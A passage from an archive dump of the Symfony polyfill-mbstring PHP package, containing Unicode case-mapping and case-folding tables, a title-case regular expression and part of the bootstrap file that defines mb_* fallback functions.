'ⳬ', 'Ⳮ' => 'ⳮ', 'Ⳳ' => 'ⳳ', 'Ꙁ' => 'ꙁ', 'Ꙃ' => 'ꙃ', 'Ꙅ' => 'ꙅ', 'Ꙇ' => 'ꙇ', 'Ꙉ' => 'ꙉ', 'Ꙋ' => 'ꙋ', 'Ꙍ' => 'ꙍ', 'Ꙏ' => 'ꙏ', 'Ꙑ' => 'ꙑ', 'Ꙓ' => 'ꙓ', 'Ꙕ' => 'ꙕ', 'Ꙗ' => 'ꙗ', 'Ꙙ' => 'ꙙ', 'Ꙛ' => 'ꙛ', 'Ꙝ' => 'ꙝ', 'Ꙟ' => 'ꙟ', 'Ꙡ' => 'ꙡ', 'Ꙣ' => 'ꙣ', 'Ꙥ' => 'ꙥ', 'Ꙧ' => 'ꙧ', 'Ꙩ' => 'ꙩ', 'Ꙫ' => 'ꙫ', 'Ꙭ' => 'ꙭ', 'Ꚁ' => 'ꚁ', 'Ꚃ' => 'ꚃ', 'Ꚅ' => 'ꚅ', 'Ꚇ' => 'ꚇ', 'Ꚉ' => 'ꚉ', 'Ꚋ' => 'ꚋ', 'Ꚍ' => 'ꚍ', 'Ꚏ' => 'ꚏ', 'Ꚑ' => 'ꚑ', 'Ꚓ' => 'ꚓ', 'Ꚕ' => 'ꚕ', 'Ꚗ' => 'ꚗ', 'Ꚙ' => 'ꚙ', 'Ꚛ' => 'ꚛ', 'Ꜣ' => 'ꜣ', 'Ꜥ' => 'ꜥ', 'Ꜧ' => 'ꜧ', 'Ꜩ' => 'ꜩ', 'Ꜫ' => 'ꜫ', 'Ꜭ' => 'ꜭ', 'Ꜯ' => 'ꜯ', 'Ꜳ' => 'ꜳ', 'Ꜵ' => 'ꜵ', 'Ꜷ' => 'ꜷ', 'Ꜹ' => 'ꜹ', 'Ꜻ' => 'ꜻ', 'Ꜽ' => 'ꜽ', 'Ꜿ' => 'ꜿ', 'Ꝁ' => 'ꝁ', 'Ꝃ' => 'ꝃ', 'Ꝅ' => 'ꝅ', 'Ꝇ' => 'ꝇ', 'Ꝉ' => 'ꝉ', 'Ꝋ' => 'ꝋ', 'Ꝍ' => 'ꝍ', 'Ꝏ' => 'ꝏ', 'Ꝑ' => 'ꝑ', 'Ꝓ' => 'ꝓ', 'Ꝕ' => 'ꝕ', 'Ꝗ' => 'ꝗ', 'Ꝙ' => 'ꝙ', 'Ꝛ' => 'ꝛ', 'Ꝝ' => 'ꝝ', 'Ꝟ' => 'ꝟ', 'Ꝡ' => 'ꝡ', 'Ꝣ' => 'ꝣ', 'Ꝥ' => 'ꝥ', 'Ꝧ' => 'ꝧ', 'Ꝩ' => 'ꝩ', 'Ꝫ' => 'ꝫ', 'Ꝭ' => 'ꝭ', 'Ꝯ' => 'ꝯ', 'Ꝺ' => 'ꝺ', 'Ꝼ' => 'ꝼ', 'Ᵹ' => 'ᵹ', 'Ꝿ' => 'ꝿ', 'Ꞁ' => 'ꞁ', 'Ꞃ' => 'ꞃ', 'Ꞅ' => 'ꞅ', 'Ꞇ' => 'ꞇ', 'Ꞌ' => 'ꞌ', 'Ɥ' => 'ɥ', 'Ꞑ' => 'ꞑ', 'Ꞓ' => 'ꞓ', 'Ꞗ' => 'ꞗ', 'Ꞙ' => 'ꞙ', 'Ꞛ' => 'ꞛ', 'Ꞝ' => 'ꞝ', 'Ꞟ' => 'ꞟ', 'Ꞡ' => 'ꞡ', 'Ꞣ' => 'ꞣ', 'Ꞥ' => 'ꞥ', 'Ꞧ' => 'ꞧ', 'Ꞩ' => 'ꞩ', 'Ɦ' => 'ɦ', 'Ɜ' => 'ɜ', 'Ɡ' => 'ɡ', 'Ɬ' => 'ɬ', 'Ɪ' => 'ɪ', 'Ʞ' => 'ʞ', 'Ʇ' => 'ʇ', 'Ʝ' => 'ʝ', 'Ꭓ' => 'ꭓ', 'Ꞵ' => 'ꞵ', 'Ꞷ' => 'ꞷ', 'Ꞹ' => 'ꞹ', 'Ꞻ' => 'ꞻ', 'Ꞽ' => 'ꞽ', 'Ꞿ' => 'ꞿ', 'Ꟃ' => 'ꟃ', 'Ꞔ' => 'ꞔ', 'Ʂ' => 'ʂ', 'Ᶎ' => 'ᶎ', 'Ꟈ' => 'ꟈ', 'Ꟊ' => 'ꟊ', 'Ꟶ' => 'ꟶ', 'A' => 'a', 'B' => 'b', 'C' => 'c', 'D' => 'd', 'E' => 'e', 'F' => 'f', 'G' => 'g', 'H' => 'h', 'I' => 'i', 'J' => 'j', 'K' => 'k', 'L' => 'l', 'M' => 'm', 'N' => 'n', 'O' => 'o', 'P' => 'p', 'Q' => 'q', 'R' => 'r', 'S' => 's', 'T' => 't', 'U' => 'u', 'V' => 'v', 'W' => 'w', 'X' => 'x', 'Y' => 'y', 'Z' => 'z', '𐐀' => '𐐨', '𐐁' => '𐐩', '𐐂' => '𐐪', '𐐃' => '𐐫', '𐐄' => '𐐬', '𐐅' => '𐐭', '𐐆' => '𐐮', '𐐇' => '𐐯', '𐐈' => '𐐰', '𐐉' => '𐐱', '𐐊' => '𐐲', '𐐋' => '𐐳', '𐐌' => '𐐴', '𐐍' => '𐐵', '𐐎' => '𐐶', '𐐏' => '𐐷', '𐐐' => '𐐸', '𐐑' => '𐐹', '𐐒' => '𐐺', '𐐓' => '𐐻', '𐐔' => '𐐼', '𐐕' => '𐐽', '𐐖' => '𐐾', '𐐗' => '𐐿', '𐐘' => '𐑀', '𐐙' => '𐑁', '𐐚' => '𐑂', '𐐛' => '𐑃', '𐐜' => '𐑄', '𐐝' => '𐑅', '𐐞' => '𐑆', '𐐟' => '𐑇', '𐐠' => '𐑈', '𐐡' => '𐑉', '𐐢' => '𐑊', '𐐣' => '𐑋', '𐐤' => '𐑌', '𐐥' => '𐑍', '𐐦' => '𐑎', '𐐧' => '𐑏', '𐒰' => '𐓘', '𐒱' => '𐓙', '𐒲' => '𐓚', '𐒳' => '𐓛', '𐒴' => '𐓜', '𐒵' => '𐓝', '𐒶' => '𐓞', '𐒷' => '𐓟', '𐒸' => '𐓠', '𐒹' => '𐓡', '𐒺' => '𐓢', '𐒻' => '𐓣', '𐒼' => '𐓤', '𐒽' => '𐓥', '𐒾' => '𐓦', '𐒿' => '𐓧', '𐓀' => '𐓨', '𐓁' => '𐓩', '𐓂' => '𐓪', '𐓃' => '𐓫', '𐓄' => '𐓬', '𐓅' => '𐓭', '𐓆' => '𐓮', '𐓇' => '𐓯', '𐓈' => '𐓰', '𐓉' => '𐓱', '𐓊' => '𐓲', '𐓋' => '𐓳', '𐓌' => '𐓴', '𐓍' => '𐓵', '𐓎' => '𐓶', '𐓏' => '𐓷', '𐓐' => '𐓸', '𐓑' => '𐓹', '𐓒' => '𐓺', '𐓓' => '𐓻', '𐲀' => '𐳀', '𐲁' => '𐳁', '𐲂' => '𐳂', '𐲃' => '𐳃', '𐲄' => '𐳄', '𐲅' => '𐳅', '𐲆' => '𐳆', '𐲇' => '𐳇', '𐲈' => '𐳈', '𐲉' => '𐳉', '𐲊' => '𐳊', '𐲋' => '𐳋', '𐲌' => '𐳌', '𐲍' => '𐳍', '𐲎' => '𐳎', '𐲏' => '𐳏', '𐲐' => '𐳐', '𐲑' => '𐳑', '𐲒' => '𐳒', '𐲓' => '𐳓', '𐲔' => '𐳔', '𐲕' => '𐳕', '𐲖' => '𐳖', '𐲗' => '𐳗', '𐲘' => '𐳘', '𐲙' => '𐳙', '𐲚' => '𐳚', '𐲛' => '𐳛', '𐲜' => '𐳜', '𐲝' => '𐳝', '𐲞' => '𐳞', '𐲟' => '𐳟', '𐲠' => '𐳠', '𐲡' => '𐳡', '𐲢' => '𐳢', '𐲣' => '𐳣', '𐲤' => '𐳤', '𐲥' => '𐳥', '𐲦' => '𐳦', '𐲧' => '𐳧', '𐲨' => '𐳨', '𐲩' => '𐳩', '𐲪' => '𐳪', '𐲫' => '𐳫', '𐲬' => '𐳬', '𐲭' => '𐳭', '𐲮' => '𐳮', '𐲯' => '𐳯', '𐲰' => '𐳰', '𐲱' => '𐳱', '𐲲' => '𐳲', '𑢠' => '𑣀', '𑢡' => '𑣁', '𑢢' => '𑣂', '𑢣' => '𑣃', '𑢤' => '𑣄', '𑢥' => '𑣅', '𑢦' => '𑣆', '𑢧' => '𑣇', '𑢨' => '𑣈', '𑢩' => '𑣉', '𑢪' => '𑣊', '𑢫' => '𑣋', '𑢬' => '𑣌', '𑢭' => '𑣍', '𑢮' => '𑣎', '𑢯' => '𑣏', '𑢰' => '𑣐', '𑢱' => '𑣑', '𑢲' => '𑣒', '𑢳' => '𑣓', '𑢴' => '𑣔', '𑢵' => '𑣕', '𑢶' => '𑣖', '𑢷' => '𑣗', '𑢸' => '𑣘', '𑢹' => '𑣙', '𑢺' => '𑣚', '𑢻' => '𑣛', '𑢼' => '𑣜', '𑢽' => '𑣝', '𑢾' => '𑣞', '𑢿' => '𑣟', '𖹀' => '𖹠', '𖹁' => '𖹡', '𖹂' => '𖹢', '𖹃' => '𖹣', '𖹄' => '𖹤', '𖹅' => '𖹥', '𖹆' => '𖹦', '𖹇' => '𖹧', '𖹈' => '𖹨', '𖹉' => '𖹩', '𖹊' => '𖹪', '𖹋' => '𖹫', '𖹌' => '𖹬', '𖹍' => '𖹭', '𖹎' => '𖹮', '𖹏' => '𖹯', '𖹐' => '𖹰', '𖹑' => '𖹱', '𖹒' => '𖹲', '𖹓' => '𖹳', '𖹔' => '𖹴', '𖹕' => '𖹵', '𖹖' => '𖹶', '𖹗' => '𖹷', '𖹘' => '𖹸', '𖹙' => '𖹹', '𖹚' => '𖹺', '𖹛' => '𖹻', '𖹜' => '𖹼', '𖹝' => '𖹽', '𖹞' => '𖹾', '𖹟' => '𖹿', '𞤀' => '𞤢', '𞤁' => '𞤣', '𞤂' => '𞤤', '𞤃' => '𞤥', '𞤄' => '𞤦', '𞤅' => '𞤧', '𞤆' => '𞤨', '𞤇' => '𞤩', '𞤈' => '𞤪', '𞤉' => '𞤫', '𞤊' => '𞤬', '𞤋' => '𞤭', '𞤌' => '𞤮', '𞤍' => '𞤯', '𞤎' => '𞤰', '𞤏' => '𞤱', '𞤐' => '𞤲', '𞤑' => '𞤳', '𞤒' => '𞤴', '𞤓' => '𞤵', '𞤔' => '𞤶', '𞤕' => '𞤷', '𞤖' => '𞤸', '𞤗' => '𞤹', '𞤘' => '𞤺', '𞤙' => '𞤻', '𞤚' => '𞤼', '𞤛' => '𞤽', '𞤜' => '𞤾', '𞤝' => '𞤿', '𞤞' => '𞥀', '𞤟' => '𞥁', '𞤠' => '𞥂', '𞤡' => '𞥃', ); symfony/polyfill-mbstring/Resources/unidata/caseFolding.php000064400000004541151676714400020272 0ustar00<?php return [ 'İ' => 'i̇', 'µ' => 'μ', 'ſ' => 's', 'ͅ' => 'ι', 'ς' => 'σ', 'ϐ' => 'β', 'ϑ' => 'θ', 'ϕ' => 'φ', 'ϖ' => 'π', 'ϰ' => 'κ', 'ϱ' => 'ρ', 'ϵ' => 'ε', 'ẛ' => 'ṡ', 'ι' => 'ι', 'ß' => 'ss', 'ʼn' => 'ʼn', 'ǰ' => 'ǰ', 'ΐ' => 'ΐ', 'ΰ' => 'ΰ', 'և' => 'եւ', 'ẖ' => 'ẖ', 'ẗ' => 'ẗ', 'ẘ' => 'ẘ', 'ẙ' => 'ẙ', 'ẚ' => 'aʾ', 'ẞ' => 'ss', 'ὐ' => 'ὐ', 'ὒ' => 'ὒ', 'ὔ' => 'ὔ', 'ὖ' => 'ὖ', 'ᾀ' => 'ἀι', 'ᾁ' => 'ἁι', 'ᾂ' => 'ἂι', 'ᾃ' => 'ἃι', 'ᾄ' => 'ἄι', 'ᾅ' => 'ἅι', 'ᾆ' => 'ἆι', 'ᾇ' => 'ἇι', 'ᾈ' => 'ἀι', 'ᾉ' => 'ἁι', 'ᾊ' => 'ἂι', 'ᾋ' => 'ἃι', 'ᾌ' => 'ἄι', 'ᾍ' => 'ἅι', 'ᾎ' => 'ἆι', 'ᾏ' => 'ἇι', 'ᾐ' => 'ἠι', 'ᾑ' => 'ἡι', 'ᾒ' => 'ἢι', 'ᾓ' => 'ἣι', 'ᾔ' => 'ἤι', 'ᾕ' => 'ἥι', 'ᾖ' => 'ἦι', 'ᾗ' => 'ἧι', 'ᾘ' => 'ἠι', 'ᾙ' => 'ἡι', 'ᾚ' => 'ἢι', 'ᾛ' => 'ἣι', 'ᾜ' => 'ἤι', 'ᾝ' => 'ἥι', 'ᾞ' => 'ἦι', 'ᾟ' => 'ἧι', 'ᾠ' => 'ὠι', 'ᾡ' => 'ὡι', 'ᾢ' => 'ὢι', 'ᾣ' => 'ὣι', 'ᾤ' => 'ὤι', 'ᾥ' => 'ὥι', 'ᾦ' => 'ὦι', 'ᾧ' => 'ὧι', 'ᾨ' => 'ὠι', 'ᾩ' => 'ὡι', 'ᾪ' => 'ὢι', 'ᾫ' => 'ὣι', 'ᾬ' => 'ὤι', 'ᾭ' => 'ὥι', 'ᾮ' => 'ὦι', 'ᾯ' => 'ὧι', 'ᾲ' => 'ὰι', 'ᾳ' => 'αι', 'ᾴ' => 'άι', 'ᾶ' => 'ᾶ', 'ᾷ' => 'ᾶι', 'ᾼ' => 'αι', 'ῂ' => 'ὴι', 'ῃ' => 'ηι', 'ῄ' => 'ήι', 'ῆ' => 'ῆ', 'ῇ' => 'ῆι', 'ῌ' => 'ηι', 'ῒ' => 'ῒ', 'ῖ' => 'ῖ', 'ῗ' => 'ῗ', 'ῢ' => 'ῢ', 'ῤ' => 'ῤ', 'ῦ' => 'ῦ', 'ῧ' => 'ῧ', 'ῲ' => 'ὼι', 'ῳ' => 'ωι', 'ῴ' => 'ώι', 'ῶ' => 'ῶ', 'ῷ' => 'ῶι', 'ῼ' => 'ωι', 'ff' => 'ff', 'fi' => 'fi', 'fl' => 'fl', 'ffi' => 'ffi', 'ffl' => 'ffl', 'ſt' => 'st', 'st' => 'st', 'ﬓ' => 'մն', 'ﬔ' => 'մե', 'ﬕ' => 'մի', 'ﬖ' => 'վն', 'ﬗ' => 'մխ', ]; symfony/polyfill-mbstring/Resources/unidata/titleCaseRegexp.php000064400000014071151676714400021143 0ustar00<?php // from Case_Ignorable in https://unicode.org/Public/UNIDATA/DerivedCoreProperties.txt return '/(?<![\x{0027}\x{002E}\x{003A}\x{005E}\x{0060}\x{00A8}\x{00AD}\x{00AF}\x{00B4}\x{00B7}\x{00B8}\x{02B0}-\x{02C1}\x{02C2}-\x{02C5}\x{02C6}-\x{02D1}\x{02D2}-\x{02DF}\x{02E0}-\x{02E4}\x{02E5}-\x{02EB}\x{02EC}\x{02ED}\x{02EE}\x{02EF}-\x{02FF}\x{0300}-\x{036F}\x{0374}\x{0375}\x{037A}\x{0384}-\x{0385}\x{0387}\x{0483}-\x{0487}\x{0488}-\x{0489}\x{0559}\x{0591}-\x{05BD}\x{05BF}\x{05C1}-\x{05C2}\x{05C4}-\x{05C5}\x{05C7}\x{05F4}\x{0600}-\x{0605}\x{0610}-\x{061A}\x{061C}\x{0640}\x{064B}-\x{065F}\x{0670}\x{06D6}-\x{06DC}\x{06DD}\x{06DF}-\x{06E4}\x{06E5}-\x{06E6}\x{06E7}-\x{06E8}\x{06EA}-\x{06ED}\x{070F}\x{0711}\x{0730}-\x{074A}\x{07A6}-\x{07B0}\x{07EB}-\x{07F3}\x{07F4}-\x{07F5}\x{07FA}\x{07FD}\x{0816}-\x{0819}\x{081A}\x{081B}-\x{0823}\x{0824}\x{0825}-\x{0827}\x{0828}\x{0829}-\x{082D}\x{0859}-\x{085B}\x{08D3}-\x{08E1}\x{08E2}\x{08E3}-\x{0902}\x{093A}\x{093C}\x{0941}-\x{0948}\x{094D}\x{0951}-\x{0957}\x{0962}-\x{0963}\x{0971}\x{0981}\x{09BC}\x{09C1}-\x{09C4}\x{09CD}\x{09E2}-\x{09E3}\x{09FE}\x{0A01}-\x{0A02}\x{0A3C}\x{0A41}-\x{0A42}\x{0A47}-\x{0A48}\x{0A4B}-\x{0A4D}\x{0A51}\x{0A70}-\x{0A71}\x{0A75}\x{0A81}-\x{0A82}\x{0ABC}\x{0AC1}-\x{0AC5}\x{0AC7}-\x{0AC8}\x{0ACD}\x{0AE2}-\x{0AE3}\x{0AFA}-\x{0AFF}\x{0B01}\x{0B3C}\x{0B3F}\x{0B41}-\x{0B44}\x{0B4D}\x{0B56}\x{0B62}-\x{0B63}\x{0B82}\x{0BC0}\x{0BCD}\x{0C00}\x{0C04}\x{0C3E}-\x{0C40}\x{0C46}-\x{0C48}\x{0C4A}-\x{0C4D}\x{0C55}-\x{0C56}\x{0C62}-\x{0C63}\x{0C81}\x{0CBC}\x{0CBF}\x{0CC6}\x{0CCC}-\x{0CCD}\x{0CE2}-\x{0CE3}\x{0D00}-\x{0D01}\x{0D3B}-\x{0D3C}\x{0D41}-\x{0D44}\x{0D4D}\x{0D62}-\x{0D63}\x{0DCA}\x{0DD2}-\x{0DD4}\x{0DD6}\x{0E31}\x{0E34}-\x{0E3A}\x{0E46}\x{0E47}-\x{0E4E}\x{0EB1}\x{0EB4}-\x{0EB9}\x{0EBB}-\x{0EBC}\x{0EC6}\x{0EC8}-\x{0ECD}\x{0F18}-\x{0F19}\x{0F35}\x{0F37}\x{0F39}\x{0F71}-\x{0F7E}\x{0F80}-\x{0F84}\x{0F86}-\x{0F87}\x{0F8D}-\x{0F97}\x{0F99}-\x{0FBC}\x{0FC6}\x{102D}-\x{1030}\x{1032}-\x{1037}\x{1039}-\x{103A}\x{103D}-\x{103E}\x{1058}-\x{1059}\x{105E}-\x{1060}\x{1071}-\x{1074}\x{1082}\x{1085}-\x{1086}\x{108D}\x{109D}\x{10FC}\x{135D}-\x{135F}\x{1712}-\x{1714}\x{1732}-\x{1734}\x{1752}-\x{1753}\x{1772}-\x{1773}\x{17B4}-\x{17B5}\x{17B7}-\x{17BD}\x{17C6}\x{17C9}-\x{17D3}\x{17D7}\x{17DD}\x{180B}-\x{180D}\x{180E}\x{1843}\x{1885}-\x{1886}\x{18A9}\x{1920}-\x{1922}\x{1927}-\x{1928}\x{1932}\x{1939}-\x{193B}\x{1A17}-\x{1A18}\x{1A1B}\x{1A56}\x{1A58}-\x{1A5E}\x{1A60}\x{1A62}\x{1A65}-\x{1A6C}\x{1A73}-\x{1A7C}\x{1A7F}\x{1AA7}\x{1AB0}-\x{1ABD}\x{1ABE}\x{1B00}-\x{1B03}\x{1B34}\x{1B36}-\x{1B3A}\x{1B3C}\x{1B42}\x{1B6B}-\x{1B73}\x{1B80}-\x{1B81}\x{1BA2}-\x{1BA5}\x{1BA8}-\x{1BA9}\x{1BAB}-\x{1BAD}\x{1BE6}\x{1BE8}-\x{1BE9}\x{1BED}\x{1BEF}-\x{1BF1}\x{1C2C}-\x{1C33}\x{1C36}-\x{1C37}\x{1C78}-\x{1C7D}\x{1CD0}-\x{1CD2}\x{1CD4}-\x{1CE0}\x{1CE2}-\x{1CE8}\x{1CED}\x{1CF4}\x{1CF8}-\x{1CF9}\x{1D2C}-\x{1D6A}\x{1D78}\x{1D9B}-\x{1DBF}\x{1DC0}-\x{1DF9}\x{1DFB}-\x{1DFF}\x{1FBD}\x{1FBF}-\x{1FC1}\x{1FCD}-\x{1FCF}\x{1FDD}-\x{1FDF}\x{1FED}-\x{1FEF}\x{1FFD}-\x{1FFE}\x{200B}-\x{200F}\x{2018}\x{2019}\x{2024}\x{2027}\x{202A}-\x{202E}\x{2060}-\x{2064}\x{2066}-\x{206F}\x{2071}\x{207F}\x{2090}-\x{209C}\x{20D0}-\x{20DC}\x{20DD}-\x{20E0}\x{20E1}\x{20E2}-\x{20E4}\x{20E5}-\x{20F0}\x{2C7C}-\x{2C7D}\x{2CEF}-\x{2CF1}\x{2D6F}\x{2D7F}\x{2DE0}-\x{2DFF}\x{2E2F}\x{3005}\x{302A}-\x{302D}\x{3031}-\x{3035}\x{303B}\x{3099}-\x{309A}\x{309B}-\x{309C}\x{309D}-\x{309E}\x{30FC}-\x{30FE}\x{A015}\x{A4F8}-\x{A4FD}\x{A60C}\x{A66F}\x{A670}-\x{A672}\x{A674}-\x{A67D}\x{A67F}\x{A69C}-\x{A69D}\x{A69E}-\x{A69F}\x{A6F0}-\x{A6F1}\x{A700}-\x{A716}\x{A717}-\x{A71F}\x{A720}-\x{A721}\x{A770}\x{A788}\x{A789}-\x{A78A}\x{A7F8}-\x{A7F9}\x{A802}\x{A806}\x{A80B}\x{A825}-\x{A826}\x{A8C4}-\x{A8C5}\x{A8E0}-\x{A8F1}\x{A8FF}\x{A926}-\x{A92D}\x{A947}-\x{A951}\x{A980}-\x{A982}\x{A9B3}\x{A9B6}-\x{A9B9}\x{A9BC}\x{A9CF}\x{A9E5}\x{A9E6}\x{AA29}-\x{AA2E}\x{AA31}-\x{AA32}\x{AA35}-\x{AA36}\x{AA43}\x{AA4C}\x{AA70}\x{AA7C}\x{AAB0}\x{AAB2}-\x{AAB4}\x{AAB7}-\x{AAB8}\x{AABE}-\x{AABF}\x{AAC1}\x{AADD}\x{AAEC}-\x{AAED}\x{AAF3}-\x{AAF4}\x{AAF6}\x{AB5B}\x{AB5C}-\x{AB5F}\x{ABE5}\x{ABE8}\x{ABED}\x{FB1E}\x{FBB2}-\x{FBC1}\x{FE00}-\x{FE0F}\x{FE13}\x{FE20}-\x{FE2F}\x{FE52}\x{FE55}\x{FEFF}\x{FF07}\x{FF0E}\x{FF1A}\x{FF3E}\x{FF40}\x{FF70}\x{FF9E}-\x{FF9F}\x{FFE3}\x{FFF9}-\x{FFFB}\x{101FD}\x{102E0}\x{10376}-\x{1037A}\x{10A01}-\x{10A03}\x{10A05}-\x{10A06}\x{10A0C}-\x{10A0F}\x{10A38}-\x{10A3A}\x{10A3F}\x{10AE5}-\x{10AE6}\x{10D24}-\x{10D27}\x{10F46}-\x{10F50}\x{11001}\x{11038}-\x{11046}\x{1107F}-\x{11081}\x{110B3}-\x{110B6}\x{110B9}-\x{110BA}\x{110BD}\x{110CD}\x{11100}-\x{11102}\x{11127}-\x{1112B}\x{1112D}-\x{11134}\x{11173}\x{11180}-\x{11181}\x{111B6}-\x{111BE}\x{111C9}-\x{111CC}\x{1122F}-\x{11231}\x{11234}\x{11236}-\x{11237}\x{1123E}\x{112DF}\x{112E3}-\x{112EA}\x{11300}-\x{11301}\x{1133B}-\x{1133C}\x{11340}\x{11366}-\x{1136C}\x{11370}-\x{11374}\x{11438}-\x{1143F}\x{11442}-\x{11444}\x{11446}\x{1145E}\x{114B3}-\x{114B8}\x{114BA}\x{114BF}-\x{114C0}\x{114C2}-\x{114C3}\x{115B2}-\x{115B5}\x{115BC}-\x{115BD}\x{115BF}-\x{115C0}\x{115DC}-\x{115DD}\x{11633}-\x{1163A}\x{1163D}\x{1163F}-\x{11640}\x{116AB}\x{116AD}\x{116B0}-\x{116B5}\x{116B7}\x{1171D}-\x{1171F}\x{11722}-\x{11725}\x{11727}-\x{1172B}\x{1182F}-\x{11837}\x{11839}-\x{1183A}\x{11A01}-\x{11A0A}\x{11A33}-\x{11A38}\x{11A3B}-\x{11A3E}\x{11A47}\x{11A51}-\x{11A56}\x{11A59}-\x{11A5B}\x{11A8A}-\x{11A96}\x{11A98}-\x{11A99}\x{11C30}-\x{11C36}\x{11C38}-\x{11C3D}\x{11C3F}\x{11C92}-\x{11CA7}\x{11CAA}-\x{11CB0}\x{11CB2}-\x{11CB3}\x{11CB5}-\x{11CB6}\x{11D31}-\x{11D36}\x{11D3A}\x{11D3C}-\x{11D3D}\x{11D3F}-\x{11D45}\x{11D47}\x{11D90}-\x{11D91}\x{11D95}\x{11D97}\x{11EF3}-\x{11EF4}\x{16AF0}-\x{16AF4}\x{16B30}-\x{16B36}\x{16B40}-\x{16B43}\x{16F8F}-\x{16F92}\x{16F93}-\x{16F9F}\x{16FE0}-\x{16FE1}\x{1BC9D}-\x{1BC9E}\x{1BCA0}-\x{1BCA3}\x{1D167}-\x{1D169}\x{1D173}-\x{1D17A}\x{1D17B}-\x{1D182}\x{1D185}-\x{1D18B}\x{1D1AA}-\x{1D1AD}\x{1D242}-\x{1D244}\x{1DA00}-\x{1DA36}\x{1DA3B}-\x{1DA6C}\x{1DA75}\x{1DA84}\x{1DA9B}-\x{1DA9F}\x{1DAA1}-\x{1DAAF}\x{1E000}-\x{1E006}\x{1E008}-\x{1E018}\x{1E01B}-\x{1E021}\x{1E023}-\x{1E024}\x{1E026}-\x{1E02A}\x{1E8D0}-\x{1E8D6}\x{1E944}-\x{1E94A}\x{1F3FB}-\x{1F3FF}\x{E0001}\x{E0020}-\x{E007F}\x{E0100}-\x{E01EF}])(\pL)(\pL*+)/u'; symfony/polyfill-mbstring/bootstrap.php000064400000017252151676714400014475 0ustar00<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Mbstring as p; if (\PHP_VERSION_ID >= 80000) { return require __DIR__.'/bootstrap80.php'; } if (!function_exists('mb_convert_encoding')) { function mb_convert_encoding($string, $to_encoding, $from_encoding = null) { return p\Mbstring::mb_convert_encoding($string, $to_encoding, $from_encoding); } } if (!function_exists('mb_decode_mimeheader')) { function mb_decode_mimeheader($string) { return p\Mbstring::mb_decode_mimeheader($string); } } if (!function_exists('mb_encode_mimeheader')) { function mb_encode_mimeheader($string, $charset = null, $transfer_encoding = null, $newline = "\r\n", $indent = 0) { return p\Mbstring::mb_encode_mimeheader($string, $charset, $transfer_encoding, $newline, $indent); } } if (!function_exists('mb_decode_numericentity')) { function mb_decode_numericentity($string, $map, $encoding = null) { return p\Mbstring::mb_decode_numericentity($string, $map, $encoding); } } if (!function_exists('mb_encode_numericentity')) { function mb_encode_numericentity($string, $map, $encoding = null, $hex = false) { return p\Mbstring::mb_encode_numericentity($string, $map, $encoding, $hex); } } if (!function_exists('mb_convert_case')) { function mb_convert_case($string, $mode, $encoding = null) { return p\Mbstring::mb_convert_case($string, $mode, $encoding); } } if (!function_exists('mb_internal_encoding')) { function mb_internal_encoding($encoding = null) { return p\Mbstring::mb_internal_encoding($encoding); } } if (!function_exists('mb_language')) { function mb_language($language = null) { return p\Mbstring::mb_language($language); } } if (!function_exists('mb_list_encodings')) { function mb_list_encodings() { return p\Mbstring::mb_list_encodings(); } } if (!function_exists('mb_encoding_aliases')) { function mb_encoding_aliases($encoding) { return p\Mbstring::mb_encoding_aliases($encoding); } } if (!function_exists('mb_check_encoding')) { function mb_check_encoding($value = null, $encoding = null) { return p\Mbstring::mb_check_encoding($value, $encoding); } } if (!function_exists('mb_detect_encoding')) { function mb_detect_encoding($string, $encodings = null, $strict = false) { return p\Mbstring::mb_detect_encoding($string, $encodings, $strict); } } if (!function_exists('mb_detect_order')) { function mb_detect_order($encoding = null) { return p\Mbstring::mb_detect_order($encoding); } } if (!function_exists('mb_parse_str')) { function mb_parse_str($string, &$result = []) { parse_str($string, $result); return (bool) $result; } } if (!function_exists('mb_strlen')) { function mb_strlen($string, $encoding = null) { return p\Mbstring::mb_strlen($string, $encoding); } } if (!function_exists('mb_strpos')) { function mb_strpos($haystack, $needle, $offset = 0, $encoding = null) { return p\Mbstring::mb_strpos($haystack, $needle, $offset, $encoding); } } if (!function_exists('mb_strtolower')) { function mb_strtolower($string, $encoding = null) { return p\Mbstring::mb_strtolower($string, $encoding); } } if (!function_exists('mb_strtoupper')) { function mb_strtoupper($string, $encoding = null) { return p\Mbstring::mb_strtoupper($string, $encoding); } } if (!function_exists('mb_substitute_character')) { function mb_substitute_character($substitute_character = null) { return p\Mbstring::mb_substitute_character($substitute_character); } } if (!function_exists('mb_substr')) { function mb_substr($string, $start, $length = 2147483647, $encoding = null) { return p\Mbstring::mb_substr($string, $start, $length, $encoding); } } if (!function_exists('mb_stripos')) { function mb_stripos($haystack, $needle, $offset = 0, $encoding = null) { return p\Mbstring::mb_stripos($haystack, $needle, $offset, $encoding); } } if (!function_exists('mb_stristr')) { function mb_stristr($haystack, $needle, $before_needle = false, $encoding = null) { return p\Mbstring::mb_stristr($haystack, $needle, $before_needle, $encoding); } } if (!function_exists('mb_strrchr')) { function mb_strrchr($haystack, $needle, $before_needle = false, $encoding = null) { return p\Mbstring::mb_strrchr($haystack, $needle, $before_needle, $encoding); } } if (!function_exists('mb_strrichr')) { function mb_strrichr($haystack, $needle, $before_needle = false, $encoding = null) { return p\Mbstring::mb_strrichr($haystack, $needle, $before_needle, $encoding); } } if (!function_exists('mb_strripos')) { function mb_strripos($haystack, $needle, $offset = 0, $encoding = null) { return p\Mbstring::mb_strripos($haystack, $needle, $offset, $encoding); } } if (!function_exists('mb_strrpos')) { function mb_strrpos($haystack, $needle, $offset = 0, $encoding = null) { return p\Mbstring::mb_strrpos($haystack, $needle, $offset, $encoding); } } if (!function_exists('mb_strstr')) { function mb_strstr($haystack, $needle, $before_needle = false, $encoding = null) { return p\Mbstring::mb_strstr($haystack, $needle, $before_needle, $encoding); } } if (!function_exists('mb_get_info')) { function mb_get_info($type = 'all') { return p\Mbstring::mb_get_info($type); } } if (!function_exists('mb_http_output')) { function mb_http_output($encoding = null) { return p\Mbstring::mb_http_output($encoding); } } if (!function_exists('mb_strwidth')) { function mb_strwidth($string, $encoding = null) { return p\Mbstring::mb_strwidth($string, $encoding); } } if (!function_exists('mb_substr_count')) { function mb_substr_count($haystack, $needle, $encoding = null) { return p\Mbstring::mb_substr_count($haystack, $needle, $encoding); } } if (!function_exists('mb_output_handler')) { function mb_output_handler($string, $status) { return p\Mbstring::mb_output_handler($string, $status); } } if (!function_exists('mb_http_input')) { function mb_http_input($type = null) { return p\Mbstring::mb_http_input($type); } } if (!function_exists('mb_convert_variables')) { function mb_convert_variables($to_encoding, $from_encoding, &...$vars) { return 